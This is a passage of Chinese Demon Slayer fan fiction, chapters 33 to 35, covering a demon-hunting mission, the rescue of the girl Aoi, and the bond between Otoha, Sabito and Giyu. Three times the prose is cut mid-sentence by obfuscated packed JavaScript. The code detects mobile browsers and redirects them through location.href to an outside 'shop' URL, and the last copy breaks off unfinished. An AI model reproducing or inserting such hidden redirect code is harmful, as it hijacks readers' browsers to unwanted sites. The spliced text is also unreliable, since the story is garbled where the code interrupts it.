院墙上,黑丸蹲在那里,透过窗纸的缝隙看着屋里的两人。它歪了歪脑袋,又转过头望向天边的月亮,爪子轻轻挠了挠砖沿,低声嘟囔了一句: “真是个傻子。” 33. 早点睡 给锖兔处理完背上的伤口后,蝶屋已经彻底安静下来了。 廊下挂着的灯笼早就熄了,整座院子陷进沉沉的寂静中,只剩下药草的气息还幽幽地浮在空气中。 音叶把手里的绷带收好,在衣摆上擦了擦手。她低头看了看自己缠好的部分,又伸手按了按边缘,确认伤口不会松脱。锖兔背上的伤口位置刁钻,缠起来费了她好些功夫。 她抬头看了一眼窗外的天色,月亮已经升到中天,应该已经很晚了。 “太晚了,”她说,“你在蝶屋凑合一晚吧,我回小院去。” 锖兔已经把衣服穿好了,正在扣队服的纽扣。听见这话他抬起头看她,月光从他身后的窗户照进来,把他整张脸都笼在阴影里,只有那双银紫色的眼睛亮着:“我跟你回去。” “可是你背后还有伤……” “没多严重。” 锖兔说着便站起来,走到音叶身边。音叶还想说什么,他已经迈出门槛了。 “走吧。” 他的声音从廊下传来,不容商量的语气。 音叶盯着他的背影看了两秒,锖兔就站在那里,一只手扶着门框,背对着她,很明显就是在等她。 音叶叹了口气,自知拗不过锖兔的脾气,跟了上去。 小院的灯还亮着,那点昏黄的光从门缝里透出来,落在院门口的碎石路上,音叶远远看见那点光的时候,心里忽然软了一下。 两个人推门而入,看见义勇还坐在廊下。 他手里握着日轮刀,刀刃泛着冷光。他低着头,不知道在想些什么。夜风吹过来,把他垂在脸侧的发丝吹得微微晃动,他也不抬手去拨。 听见脚步声,他抬起头。 音叶刚想开口,问义勇这么晚了怎么还不回去睡觉,便听到鎹鸦的那句:“义勇已经彻底掌握了十一之型。” 宽三郎蹲在廊柱上,羽毛被夜风吹得有些凌乱,显得灰扑扑的。它那双浑浊的眼睛眯了眯,语气里带着藏不住的骄傲。那只老鎹鸦跟着义勇这么久,平时闷声不响的,今天难得主动开口。 义勇没有说话,只是把刀收进鞘里,放在身侧。 音叶微微一怔,随即眼睛亮了起来:“真的?” 她快步走过去,在义勇面前站定。那张素来没有波澜的脸上,此刻有什么细微的东西在松动。嘴角的弧度弯起一点点,让整个轮廓都柔和下来。 “天呐,义勇真是太棒了……”她张开手臂,作势要抱过去—— 一只手横过来,挡在她面前。 锖兔不知道什么时候站到她边上的,手臂就那样拦着,不偏不倚,脸上没什么表情,说话也听不出情绪。 “义勇很累了,”锖兔说,“别闹他。” 音叶眨眨眼,刚要开口,义勇倒先出声了:“没事。” 他坐在廊下,微微仰着脸,廊檐阴影落在他眉眼间,衬得那双眼睛更加深邃。锖兔的手还悬在半空没收回,侧过头飞快地瞥了义勇一眼,便又转回头,依旧望着前方。 音叶全然没留意这细微的动静,眼里只装着义勇此刻的笑意。 “那我们明天再庆祝吧,”她轻快地说,“明天吃点好吃的!” 义勇轻轻点了点头:“快进去吧,该睡觉了。” 鬼杀队的任务日夜颠倒,音叶洗漱过后沾着枕头就睡着了,睡得昏天黑地,势必要将这两天缺的觉给补回来。 “音叶、音叶,又有新任务来啦——距离柱越来越近了——” 悠子落在她枕边,翅膀还没收拢就扯着嗓子喊起来,声音又尖又脆,刺得人耳膜疼。音叶睁开眼,看见窗外的太阳已经日出三竿了。 音叶坐起来,揉了揉眼睛,阳光透过窗棂照进来,落在她手背上,暖洋洋的。 “知道了。” 悠子还在她头顶飞着,趁着音叶起床更衣洗漱的功夫讲这次的任务,似乎要和另一个甲级队员一起行动。 音叶听着,偶尔应一声,手上的动作也没停下,把刀带上,带上必要的东西就准备出发。 收拾好东西推开门的时候,锖兔和义勇都不在院子里,大概也是出任务去了。阳光正暖,照得人身上懒洋洋的。 悠子在她头顶飞着,叽叽喳喳说个不停。 到集合地点的时候,那个人已经在了。是个年轻男人,比音叶高出一个头,他站在路边的树荫下,一只手叉着腰,一只手搭在额头挡太阳。听见脚步声,他转过头来。 阳光从树叶缝里漏下来,落在他脸上,照到他脸上那两道横着的小疤,从脸颊横过去,活像猫的胡须。 音叶的目光落在那两道疤痕上,脑子里忽然冒出这个念头,嘴角往上弯了弯。 “笑什么?”他也笑了,声音温和,眼角弯下来,露出一点白牙。 “你脸上的疤,”音叶说,“像猫咪的胡须。” 话一出口,她才觉得有些不妥,这个人毕竟是前辈,这么说是不是有些不太好? 但被说成猫咪胡须的本人听了不仅没有生气,反而抬手摸了摸自己的脸,指腹从那两道疤痕上轻轻划过。 “猫咪的胡须,”他重复了一遍,抬起眼看她,眼睛里带着温和的笑意,“被你这么一说,还真有点像呢。” 音叶松了口气。 他把手从额前放下来,音叶这才看清他的模样。眉眼生得温和,那两道疤横在脸上,反倒让他看起来有些特别。 “你好,我是粂野匡近。”他伸出手摸了一下脸颊,“这两道疤是出任务的时候被鬼伤到了留下的,之前还觉得不好看呢,听你这么一说还挺可爱的。” “你好,我是鳞泷音叶,请前辈多多指教。” 匡近点点头,从树荫下走出来,朝音叶抬了抬下巴,示意她跟上。 “我们快出发吧。” 音叶跟上去,走在他身侧。悠子落在她肩头,这会儿有外人在便不那么闹了,反而歪着脑袋打量一旁的粂野匡近。 匡近步子迈得大,但走几步就会慢下来等她。音叶跟在他身侧,听他讲起自己吃过的美食:总部西边的那家荞麦面好吃、出任务路过京都时的烤鳗鱼很香,还有关西的特色美食寿喜烧。 匡近说这些的时候眼睛很亮,像是在说一件很了不起的事。 “人必须要吃点美食嘛,”匡近弯了弯嘴角,语气坦然,“杀完鬼肚子会饿,饿着肚子回去多难受啊……还不如先找点好吃的填饱肚子。” 他说这话的时候,阳光落在他身上,把他整个人都照得暖洋洋的。音叶觉得和他待在一起很舒服,像小时候跟在爷爷身后,什么都不用想,只要跟着走就行了。 “你家里有弟弟妹妹吗?”她问。 匡近侧过头看她,眼睛弯起来:“有,我是老大,底下两个弟弟一个妹妹,从小就带着他们到处跑。” “怪不得。” “怪不得什么?” 音叶看着他,嘴角弯起来。 “怪不得你走路会等人,”她说,“刚才我就发现了,你步子那么大,但走着走着就会慢下来,是怕我跟不上吧?” 匡近眨眨眼,随即垂下眼笑了。 “这你都发现了?”他抬手挠了挠后脑勺,“我那两个妹妹从小就爱跟着我跑,跑慢了就哭,哭起来没完没了……我都习惯了。” 两个人一路说着话,很快就到了任务的那个村子。 到村子的时候,天色已经彻底暗下来了。迈入村子的瞬间,音叶就已经闻到了刺鼻的血腥味。 匡近的脚步停住,脸上的笑意褪得干干净净。他侧过头看音叶,那双眼睛里的光变得锐利起来:“走。” 他们循着味道追过去,穿过村子中央的晒谷场,绕过几间低矮的农舍,在一户人家的院子里看见了那只鬼。 它站在院子中央,听见脚步声就转过头来,露出一双浑浊的眼睛,里面只有饥饿与渴望。 音叶立刻拔刀,一旁的匡近比她动作更快,风之呼吸的刀刃在夜色里划出一道凌厉的弧线,逼得鬼往后退了两步。音叶从侧面切入,封住它的退路。 可就在这时候,音叶瞥见了一个小小的影子。 一堆杂物的角落里,有个女孩缩在那里。她蜷成一团,双手捂着嘴,眼睛瞪得大大的,充斥着恐惧。 音叶的心抽了一下:“粂野先生。” 她只喊了一声,匡近就顺着她的目光看过去。他脸上的表情变了变,随即点了点头,声音压得很低:“你去看看那个女孩的情况,我帮你挡住这只鬼。” 音叶没有犹豫,抽身退后,向那个角落冲过去。身后传来刀刃与血肉相撞的声音,一下接着一下。 “别怕,”她蹲下来,声音压得很低,生怕吓着那个瑟瑟发抖的女孩,“我们是来救你的。” 女孩的嘴唇在发抖,死死抓住杂物掩在身前,没有发出一点声音。 音叶伸出手,没有贸然去抱她,只是轻轻覆在她攥紧的小手上。 “你做得很棒,”她说,声音很轻,“躲在这里不发出声音,你这样就已经比很多大人都厉害了。” 女孩的睫毛颤了颤,身体渐渐不再抖得那么厉害,那双攥紧的手也松了松。 “我们会消灭那只鬼,然后带你离开这里,”音叶看着她的眼睛,“你自己能站起来吗?” 女孩没有说话。她慢慢松开捂着嘴的手,那双手还在发抖,可她抬起头,手指轻轻拽住了音叶羽织的一角。 音叶弯下腰,把她抱进怀里。 女孩抖了一下,随即将脸埋进她怀里。她的身体还在轻颤,但音叶感觉到那双手抓得更紧了。 “没事了……”音叶轻轻顺着她的后背,一遍一遍地重复,“没事了,没事了。” 身后传来刀刃破空的声音,伴随着恶鬼的最后一声嘶吼。 粂野匡近解决那只鬼之后,没有立刻走过来。他站在远处,只是侧过头看了一眼,确认她们没事,便收回目光,给她们留出空间。 “有没有伤到哪里?”音叶轻声问。 女孩没有回答,只是埋在她怀里发抖。她的肩膀一抽一抽的,却没有眼泪。 音叶抱着女孩站起来,仔细检查她身上。衣服上有血迹,但不像是被鬼伤到的,更像是在杂物堆里蹭破的。她轻轻掀开袖子,看见几道很浅的划痕,沾着些灰尘。 “有点疼是不是?”音叶从袖子里掏出手帕,沾了沾随身带的水壶,帮她把伤口边的灰擦掉,“擦干净就好了,很快就不疼了。” 女孩终于抬起头,看着她。 “你……你是来救我的吗?”她开口,声音沙哑。 音叶点点头。 “我是来救你的。”她说,目光落在女孩的眼睛上,“已经没事了。” 女孩的嘴唇动了动,她低下头,把脸埋回音叶怀里,肩膀剧烈地抖动起来,终于放声哭了出来。 回蝶屋的路上,女孩一直缩在音叶怀里。 她哭过之后就闭上了眼睛,像是睡着了。可那双小手一直抓着音叶的衣服,音叶稍微动一下,那手指就收得更紧些。 粂野匡近走在旁边,没有说话。 月亮升起来了,夜风吹过来,带着田野里草木的气息。远处的山影黑黝黝的,连绵成一片。 到了蝶屋门口,香奈惠和忍都在,已经通过悠子接到消息等在院子里了。忍看见音叶怀里的女孩,快步迎上来:“这是……” “救下来的孩子,”音叶说,声音放得很轻,“家人都……” 她没有再说下去,忍点点头,目光落在女孩身上,变得柔软起来。她伸出手,轻轻拨开女孩额前的碎发,露出那张沾着灰的小脸。 “交给我吧。” 香奈惠蹲下来,声音柔和:“你叫什么名字?” 女孩睁开眼,看了看香奈惠,又看了看音叶。她抿着嘴唇,没有马上开口。 “这是香奈惠姐姐,”音叶轻声说,“她人很好的,我受伤的时候都是她在照顾我,你可以相信她。” “小葵。”女孩的声音很轻。 “小葵,”香奈惠笑着重复了一遍,眼睛弯成柔和的弧度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375054|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“真好听……我是香奈惠,这里还有很多小伙伴,我们一起来照顾你好不好?” 女孩表情还有点害怕,嘴唇动了动,没有说话,但也没有躲开香奈惠伸过来的手。 音叶蹲下来,平视着她的眼睛:“你在这里会很安全的,”音叶一字一句地说,“这里是鬼杀队,专门消灭恶鬼的地方,不会再有坏人了。” 香奈惠轻轻握住小葵的手,把她抱过来。小葵趴在香奈惠肩上,眼睛却还看着音叶。 “神崎葵,”香奈惠抬起头对音叶说,“我记住了。” 那扇门在身后轻轻关上。 粂野匡近站在旁边,一直没说话。等门彻底合上,他才开口,声音不高:“那个孩子,会好起来的。” 音叶点点头。 匡近转过身来,看着她。 “走吧,我请你吃饭。”他说,语气自然得像是在说今天天气不错,“这附近有家店开到很晚,他家的荞麦面——” “今天太累了,”音叶说,“想早点回去。” “那我送你回去吧。”匡近已经迈步往外走了,没等她回答,“送到门口就行。” “不用了……” “用的,”他走在前面,头也没回,“你一个女孩走夜路我不放心。虽然你比我认识的大多数人都能打,但万一路上出点什么事呢?” 音叶被他带着往前走,忍不住弯了弯嘴角。 “你这个人怎么这么细心?”她跟上他的步子,“连这点都被你想到了。” 匡近侧过脸看她一眼,眼睛弯了弯:“那是,谁让我是模范大哥呢。” 巷子里静静的,只有虫鸣声此起彼伏。月光从屋檐的缝隙漏下来,在地上铺成细细的一条。 匡近在巷子口停下来。 “就送到这儿吧。”他说着,伸长脖子往里看了一眼,“那个就是你们住的地方?” “嗯。” 匡近点点头,收回目光。 “那行,我走了。”他转过身,走出去两步,又回头看她一眼,“下次还有机会一起出任务的话,就一起吃饭吧。” “好。” 他的背影很快消失在巷子拐角,脚步声越来越远,然后彻底听不见了。 音叶转身往里走,推开院门的时候,看见两个人影坐在廊下。 锖兔靠在廊柱上,双手抱在胸前,脸朝着院门的方向。他坐得很直,从那个姿势来看,应该一直保持着这个姿势没动过。义勇坐在他旁边,手里握着刀,低着头,垂落的黑发遮住大半张脸,看不清表情。 听见门响,两个人同时抬起头,音叶停住脚步。 “你们怎么还没睡?” 锖兔和义勇都在看着她,却没有人回答她的问题。 音叶走过去,在他们面前站定。她低头看看这个,又看看那个,心里忽然冒出一种奇怪的感觉——这两个人该不会一直坐在这里等她回来吧? “任务结束了?”锖兔先开了口。 “嗯。” “那个孩子呢?” “送到蝶屋了,香奈惠在照顾她。”音叶说完,又补了一句,“没什么事,就是吓坏了,身上只有点擦伤。” 锖兔点点头,没再说话。 音叶看向义勇。义勇还低着头,握着刀的手指收得很紧,指节都泛白了。从她站着的角度,能看见他抿着的嘴唇,抿成一条细细的线。 “你们一直在这儿等着?” 锖兔没接话,反倒是义勇抬起头,看着她,那双深蓝色的眼睛在夜色里显得更为深邃。 “送你回来那个人是谁?” 他的声音很平,听不出什么起伏,眼睛一眨都不眨地盯着音叶,像是那个答案对他很重要。 音叶顺着他的目光往身后看了一眼,又转回来,向他们解释:“那个人是粂野匡近,今天跟我一起出任务的队友,”她说,“用风之呼吸的甲级队员,人意外地很温柔呢。” 义勇没有说话,他只是看着她,那双眼睛还粘在她脸上。 “我们聊了一路,”音叶笑了笑,想起路上匡近说起家里弟弟妹妹时的样子,“他说家里有三个弟弟妹妹,从小就习惯了照顾人。所以路上一直等我,怕我跟不上,还说要请我吃荞麦面,不过我太累了就拒绝了。” 义勇把目光移开了,他盯着院子里的花花草草,盯得很认真,握着刀的那只手,指节动了动,换了个位置握住。 “你们聊得很开心。”他说。 义勇的语气淡淡的,嘴唇却不自然地抿了一下。 音叶看看他,又看看旁边一直没出声的锖兔。锖兔垂着眼,脸上什么表情也没有,只是搭在膝上的手,拇指轻轻摩挲着食指的关节。 那道从侧脸上的疤,在夜色里看不太真切,可那低垂的眼睫和微微抿着的嘴角,都让人觉出点什么。 音叶突然恍然大悟。 “哦——”她把尾音拖得长长的,嘴角忍不住往上翘,“你们俩该不会是……” 义勇盯着院子里的风景,一动不动,那背影僵僵的,像是突然被定住了。 锖兔的手停了那么一瞬,然后继续摩挲着指节,只是动作比刚才慢了些。 音叶看着他们,心里忽然软了一下,她往前凑了凑,声音放软下来。 “放心啦,”她说,“粂野先生是挺好的,可你们俩才是我最最最最最……最好的朋友,没有人能比得过你们。” 锖兔抬起头看了她一眼,又垂下眼去,嘴角悄悄扬起的弧度却被音叶给捕捉到了。 “谁担心这个了。”他说。 音叶没戳穿他们,她只是站在那里,看着他们两个,心里暖洋洋的。 过了一会儿,义勇忽然站起来:“饿不饿?” “有点。” “锅里还有饭。”义勇往屋里走,走了两步又停下,“水也放好了,可以去泡个澡。” 锖兔低下头,把落在膝上的一片叶子拈起来。他把玩了一会儿,随手把叶子放在廊边。 “早点睡吧。”他说。 34. 幼稚鬼 音叶走进浴室,木桶里果然如义勇所说,早已注满了温热的清水。氤氲的热气自水面缓缓升腾,在室内轻轻缭绕。 她将换下的衣物叠好放在一旁,小心翼翼地踏进木桶。水温恰到好处,不烫也不凉,像是有人用心调试过无数遍。音叶靠在桶壁上,仰头望着天花板上的木纹。 热水把一整天的疲惫都洗去了,音叶闭上眼睛,任由自己往下滑了滑,让水没过锁骨,最后只露出一个头在外面。她能感觉到自己的肌肉在热水中一寸一寸地放松,那些因为任务而产生的酸痛也渐渐消散。 她现在已经是甲级队员了,距离柱越来越近,任务难度也直线上升。现在的她总算是明白了当时香奈惠的心情——明明只差一个等级,那个等级却像难以跨越的坎。 音叶把脸埋进水里,咕噜咕噜吐了几个泡泡。水面上泛起一圈圈涟漪,很快又归于平静。 等水渐渐变凉,音叶也泡得差不多了。她起身擦干,换好干净的衣物,推门而出。走廊里很安静,她放轻脚步,往自己的房间走去。 经过义勇房间的时候,她注意到里面的灯还亮着。昏黄的灯光从门缝里漏出来,在地上投下一道细细的光线。音叶没在意,径直走回自己的房间。 她关上灯,躺进被窝里准备休息。黑暗中,她能听到自己的呼吸声和窗外传来的风声,没多久,隔壁房间传来轻轻一声响,随后那道光也熄灭了,音叶的视野彻底陷入昏暗。 音叶这才反应过来——原来义勇是为了等她才没关灯的吗? 女孩自己都没有反应过来,嘴角便洇起一阵笑意。 之后的日子过得平静而规律,音叶会带着悠子执行任务,不忙的时候便去蝶屋帮忙。香奈惠升任花柱以后愈发繁忙,蝶屋的工作需要音叶和忍帮衬着。 想到忍——忍最近去哪了,自己似乎好久没见到她了,音叶喃喃自语道。 很快她就反应过来,新一届的最终选拔就要开始了。忍应该在为即将到来的选拔做最后的准备,这个要强的孩子一定也在没日没夜地训练吧。 “忍小姐很久没有来了,”神崎葵一边收拾着蝶屋的瓶瓶罐罐一边对音叶说,“香奈惠小姐回来的时候都会带着忍小姐一起练习呢。” 神崎葵,音叶更喜欢叫她小葵,已经不是躲在杂物角落里瑟瑟发抖的小女孩了。被音叶救下后,她留在蝶屋养伤,现在伤近乎痊愈,便会帮着音叶做一些力所能及的事情。 “听说今年的最终选拔会有很大的变化呢!”来换药的村田先生说道,他刚在凳子上坐下,话匣子就打开了,“主公大人今年为最终选拔增添了许多安全措施,先不说柱们会在选拔开始前进行例行检查……” 他伸出手做了个按下按钮的动作,结果扯到了伤口,疼得龇牙咧嘴。音叶皱着眉把他按回原位坐好,手上的动作却放轻了很多。 他缓了缓,继续说道:“这次参加选拔的每一个人手里都会发一个小机关。如果遇到危险,或者是想要退出,只要按下按钮就会有人接应。” 音叶的手指顿了一下,又接着给村田上药。 “这样的话,伤亡会少很多吧。”她说,声音比平时低了一些。 村田没听出来,用力点点头,没想到再一次拉扯到伤口:“没错!嘶……大家都这么说,这样一来参加选拔的人心里都有底了,也不会那么紧张了。” 音叶低头继续换药,动作敏捷麻利,很快将要换好。村田对音叶道了声谢,低头系上纽扣。 “音叶姐,”小葵的声音忽然响起,“我也可以学习呼吸法吗?” 音叶低头,小葵已经放下手中的药罐,此刻正仰头看着她。那双眼睛很亮,曾经的恐惧早已消失殆尽。 音叶将药品归回原位,俯身与她平视:“可以呀,小葵想要学习的话,我可以帮你联系培育师。” 思绪在脑海里翻涌,音叶这才想起爷爷曾经说过,他已经不打算再招徒弟了。面对小葵的想法,她一时间有些为难。 不过……爷爷这么厉害的人,年轻的时候应该也有很多厉害的培育师吧? 正当音叶犯难时,一旁收拾好东西的村田似乎听到了她的心声。 “欸?小葵想要学习呼吸法吗?”他脸上挂着温和的笑容,“要不要考虑一下我的师父?” 他指了指自己:“水之呼吸是最基础的呼吸法,很好上手,我就是练水呼的。如果你愿意的话,要不要来我师父这里?他正发愁没有学生呢。” 小葵眼前一亮,生怕村田反悔:“那就这么说好了!一言为定!” “那就这么说定了。”村田笑起来,眼睛弯成一条缝,“回头我帮你写信。我师父那人最喜欢孩子了,写信告诉他的话,他一定很高兴的。” …… 村田的效率很快,几乎是没有到一个星期的功夫,回信便来了——他的师父非常欢迎小葵的加入,信上言辞恳切,说早已听闻小葵的事,定会倾囊相授。 信的末尾还特意加了一句:“让那孩子放心来,我这里虽然简陋,但一定把她当亲孙女看待。” 小葵攥着信纸,眼眶泛红,却倔强地没有掉泪。 “我一定要为我的家人们报仇。”她说,声音坚定。 小葵收拾好行囊,在一个阳光明媚的早晨离开。离开那天,音叶送她到门口,就连任务繁忙和准备着最终选拔的香奈惠和小忍也来了。小葵一一向她们鞠躬道别,最后转过身,用力抱了抱音叶。 “音叶姐,我会努力的。” 音叶抬手,轻轻揉了揉她的头发:“嗯,我相信你。” 小葵松开手,背起行囊,头也不回地跟着村田师父的那只鎹鸦走向那条通往远方的路。 音叶望着那个渐行渐远的背影,恍惚间想起多年前的自己。那时的她也是这样,背着行囊,离开爷爷的小屋,走向未知的山。 “她会没事的。”香奈惠轻声说。 音叶点点头,收回视线。 是啊,大家都会没事的。 日升日落、花开花谢,时光无声无息地流淌。转眼间,音叶已步入青春期。身体开始悄悄发生变化:原本合身的队服变得有些紧,镜中的脸庞褪去几分稚气,线条渐渐柔和下来。 夏日的午后,阳光透过大树洒下斑驳的光影。音叶出完任务回来,刚洗完澡,穿着轻便的浴衣,把换下来的衣物拿到院中清洗晾晒。 很难得地,锖兔和义勇也在院子里。 音叶将最后一件衣服展开,搭在晾衣竿上。她抚平褶皱,正准备转身离开时,视线不经意间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375055|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过锖兔。 咦? 她停下动作,认真地看了过去。 锖兔正站在不远处,阳光从他身后照过来,在地面投下一道长长的影子。 音叶走过去,在他身边站定,歪着头打量他。 “怎么了?”锖兔察觉她的视线,停下手中的动作。阳光在他眼中跳跃,让那双银紫色的眸子格外明亮。 音叶没有回答,而是凑近了些,在自己额头比了比,又在他肩膀比了比,然后整个人僵住了。 不……不会吧? 她猛地转身,几步走到廊下,一把将沉默的义勇拽了起来。 “你站起来。” 义勇被她拽得一个踉跄,站稳后垂眸看着她,眼神里带着一丝疑惑。他的头发被风吹得有些凌乱,几缕发丝遮住了眼睛。 音叶深吸一口气,在他面前站直,努力挺起脊背,她平视前方,却发现本该是眼睛的位置,此刻却只能看到义勇的下巴。 她又往锖兔那边挪了挪,再次站直,依旧没有变化。 那相差的距离,将近半个头。 音叶如遭雷击,愣在原地。 “不可能……”她喃喃道,转过身又跑回锖兔身边,“锖兔,你过来。” 锖兔一脸莫名地看着她,音叶再次比了比——这一次,她不得不仰起头,才能看清他的眼睛。 那相差的距离,将近半个头。 音叶如遭雷击,愣在原地。她低头看看自己,又抬头看看他们,脸上的表情千变万化。明明每天一起吃一样的饭,为什么他们像竹子一样往上蹿,她却停滞不前了…… 锖兔看看她,又看看自己,终于反应过来,顿时笑出了声。 “哈哈哈哈……!” 他的笑声在院子里回荡,惊起枝头的麻雀。义勇依旧坐在廊下,默默看着这一幕,嘴角几不可察地微微上扬。 “笑什么笑!”音叶恼羞成怒,脸颊微微泛红,“我不信!我们明明吃一样的饭,睡一样的觉,每天一起训练……” “是啊是啊,”锖兔笑着凑近,伸出手按住她的头顶,轻轻往自己身边一拉,比在身前,“来,让我看看……嗯,让我好好看看我们的小音叶到底有多高。” 音叶被迫站直,头顶堪堪够到锖兔的下巴。她能感觉到他的手掌很温暖,覆在头顶的重量很轻,却让她动弹不得。 锖兔低头看了看,又比了比,笑容愈发张扬。然后他微微俯下身,那双银紫色的眼睛与她齐平,距离近得音叶能看清自己映在他瞳孔里的影子。锖兔凑到她耳边,故意压低了声音: “音叶小姐,希望你有朝一日……可以超过我。” 他语气一本正经,可眼神里满是掩不住的得意与调侃。 音叶勾唇一笑,胜负欲彻底被眼前的人激了上来。 她没有认输,反而更凑近了一些。两人之间的距离缩短到几乎可以感受到彼此呼吸,她仰起头,直视着锖兔那双因意外而微微睁大的银紫色眼睛,刚才那张得意洋洋的脸上浮现出一丝不自然的神色。 “喂,”她的声音轻柔,却带着不容忽视的挑衅,“那我们的丙级队员锖兔先生,什么时候可以超过我呢?” ——笑容张扬又肆意,带着少女特有的骄傲与狡黠。 35. 心照不宣 锖兔已经来不及去考虑少年人的挑衅了,过于亲昵的距离让他的大脑瞬间宕机。鼻尖萦绕着女孩身上淡淡的香气,刚才还自若的气势很快就偃旗息鼓了,像是被戳破的气球,只剩下一副空壳勉强撑着。 “你……”锖兔垂下眼皮,避开音叶看过来的眼睛,身体不自然地往后靠,那双银紫色眸子此刻左右闪躲,就是不敢落在面前的人身上。 他的身体不自然地往后靠了靠,试图拉开一点距离,“你靠那么近干什么?” 他刻意回避了音叶的问话。就锖兔个人而言,他从来都不在乎等级高低,只要能够救人、杀鬼就可以了。 拜师学艺的第一天起,师父就告诉他:呼吸法的本质不是为了比谁更强,而是为了救人斩鬼。他始终记得这句话,也始终践行着这句话。只要能救人斩鬼,不管是什么等级,又有什么区别? 而曾经和他一起约定过成为柱的两个同伴——一个如今与柱位只差一步之遥,另一个凭借厚积薄发的实力也将他远远甩在身后。 只有他,还停留在原地。 锖兔掩下心里翻腾的情绪,扬起笑容,和小时候一样,屈起手指弹在音叶额头上:“等级?你觉得我会在乎这个?” 听到女孩吃痛的轻呼,明明知道音叶发出的声音有一半是故意表演出来给他看的,锖兔还是伸出手在音叶的额头上轻揉着。 指腹触碰到温热的额头,明明是从小做到大的动作,此刻锖兔却感觉自己的手似乎被电了一下。 “等你成了柱,”他若无其事地收回手,语气随意得像是在问中午吃什么,“记得别忘记我们就行了。” 廊下的义勇静静地看着这一幕,光影斑驳,院子里的两个少年仍在打闹。他低头含笑,手指搭在膝盖上,几不可察地蜷缩了一下。随后,站起来转身走回屋子。 不过片刻时间,义勇从屋子里走出来,手里端着一个托盘。托盘上放着解暑的和果子,有水果大福和水信玄饼,这些都是他前些日子买回来的,一直放在冰窖里存着,此刻微微飘着凉气。 夏日已至,温度一天高过一天。音叶已经穿着最轻薄的浴衣了,却丝毫不觉得凉快——都怪这该死的天气。薄薄的棉布贴在身上,没一会儿就被汗浸得微微潮湿。她抬手扇了扇风,却发现扇出来的风也是热的,索性放弃了挣扎。 软糯的外皮在齿间破开,清甜的果汁瞬间在舌尖炸开,带着丝丝凉意,从口腔一直蔓延到四肢百骸。音叶的眼睛满意地眯起来,弯成两道月牙,整个人像一只餍足的猫。 嘴里还塞着东西,她含糊不清地开口:“唔……好吃!不愧是义勇,想得就是周到……” 她又咬了一口,腮帮子鼓鼓的,说话更加含糊:“等以后把鬼全部歼灭,我就把你接到我家里来——” 话没说完,额头又被锖兔不痛不痒地敲了一下。 “让义勇歇会吧,”锖兔不知什么时候也走了过来,居高临下地看着她,眼里带着笑意,“灭完鬼还得伺候你,你就逮着他折腾吧。” 音叶捂着额头瞪他,嘴里还在嚼着大福,鼓鼓囊囊的。 义勇抿抿嘴,那双深邃的蓝色眼眸含着笑意,温柔而静谧。他的目光落在音叶鼓起的腮帮子上,嘴角的弧度柔和了几分。 “没事的,锖兔。” 锖兔闻言一顿,他刚刚拿起一块水信玄饼,正准备送进嘴里,听到这话,手指僵在半空。他的视线在两人之间徘徊。 ……那股说不清的滋味又涌上来了。 廊下的阴影里,音叶已经回房间了,蝉鸣声接连不断。锖兔放下手中的和果子,踌躇着开口:“义勇,你和音叶……” 话说到一半又咽回去。锖兔只是点到为止,目光却一直落在义勇身上,留意着他的反应。 义勇手指微微收紧,杯身停滞了不到半秒,然后一切又恢复了自然。他垂眸喝水,动作从容,仿佛没有听到锖兔的问题。 这一微乎其微的细节没有逃过锖兔的眼睛,他对义勇太熟悉了,这些细微的变化别人或许看不出来,但他与义勇同吃同住这么多年,怎么可能不明白他的意思。 锖兔没再说什么。 谁都没有把这件事点破,毕竟音叶还没有开窍。这个女孩子满脑子斩鬼救人,这些弯弯绕绕的意思怕是从来都没想过。 锖兔深吸一口气,他伸出手轻轻在义勇的肩膀上拍了拍,却没有说话。 两个人在这件事情上达成了共识。 六月中旬,新一届的最终选拔如期而至。藤袭山的紫藤花终年盛开,可越过那座山,便进入了囚禁恶鬼之地。 蝴蝶忍穿着便于行动的衣服,腰间佩着那柄略短的日轮刀,少年人的意气风发尽数写在脸上。 “不用送了。”忍说,嘴角噙着淡淡的笑意,眼中净是胜券在握,“又不是什么大事。” 香奈惠伸手替她整理了一下衣领,没有多说,只是嘱咐道:“路上小心。” “姐姐,”忍无奈地看着她,“我只是去参加选拔,又不是去赴死。” 香奈惠被她这话说得心里一紧,正要开口,忍已经转向音叶。 “音叶姐,”忍仰头看着她,那双紫色的眼睛里闪烁着坚定的光芒,“等我回来,我们三个人一起并肩作战。” “我等你。” 送别小忍后没多久,悠子便扑棱着翅膀盘旋而来,声音尖锐而急促: “音叶……京都、京都!有紧急任务——速去、速去——!” 音叶简单地与香奈惠告别,随即便跟着悠子离开,踏上了前往京都的路途。 京都的街道比往日更加喧嚣,西洋风格的建筑如雨后春笋般冒出来,与传统的和式木屋交错林立,构成这个时代特有的风景。音叶跟着悠子穿过几条街巷,最终在一处偏僻的巷道里找到了那只作乱的鬼。 这次的任务并不难,是一只连血鬼术都掌握不好的恶鬼。音叶甚至没有费什么力气,就把它斩于刀下。 音叶收刀入鞘,转身离开。 任务完成得很完美,她没有受伤,甚至没有出汗——虽然这天气热得让人喘不过气来。 整个京都像是一座巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 